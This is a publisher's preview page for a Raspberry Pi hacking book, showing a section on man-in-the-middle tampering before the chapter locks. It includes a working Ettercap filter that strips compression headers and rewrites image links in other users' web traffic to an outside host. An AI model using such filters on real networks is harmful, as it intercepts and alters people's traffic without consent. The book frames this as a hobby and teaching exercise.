Search icon
Arrow left icon
All Products
Best Sellers
New Releases
Books
Videos
Audiobooks
Learning Hub
Newsletters
Free Learning
Arrow right icon
Raspberry Pi for Secret Agents - Third Edition

You're reading from  Raspberry Pi for Secret Agents - Third Edition

Product type Book
Published in Jul 2016
Publisher
ISBN-13 9781786463548
Pages 316 pages
Edition 3rd Edition
Languages

Table of Contents (7) Chapters

Preface 1. Getting up to No Good 2. Audio Antics 3. Webcam and Video Wizardry 4. Wi-Fi Pranks – Exploring Your Network 5. Taking Your Pi Off-Road 6. Detecting and Protecting Against Your Enemies

Pushing unexpected images to browser windows


Not only do man-in-the-middle attacks allow us to spy on the traffic as it passes by, we also have the option of modifying the packets before we pass them on to their rightful owner. To manipulate packet contents with Ettercap, we will first need to build some filter code in nano:

pi@raspberrypi ~ $ nano myfilter.ecf

The following is our filter code:

if (ip.proto == TCP && tcp.dst == 80) { 
  if (search(DATA.data, "Accept-Encoding")) { 
    replace("Accept-Encoding", "Accept-Mischief"); 
  } 
} 
 
if (ip.proto == TCP && tcp.src == 80) { 
  if (search(DATA.data, "<img")) { 
    replace("src=", "src="http://files.raspiplace.com/agentpi/tux.png" alt="); 
    msg("Mischief Managed!\n"); 
  } 
} 

The first block looks for any TCP packets with a destination of port 80, that is, packets that a web browser sends to a web server to request for pages. The filter then peeks inside...

lock icon The rest of the chapter is locked
Register for a free Packt account to unlock a world of extra content!
A free Packt account unlocks extra newsletters, articles, discounted offers, and much more. Start advancing your knowledge today.
Unlock this book and the full library FREE for 7 days
Get unlimited access to 7000+ expert-authored eBooks and videos courses covering every tech area you can think of
Renews at $15.99/month. Cancel anytime}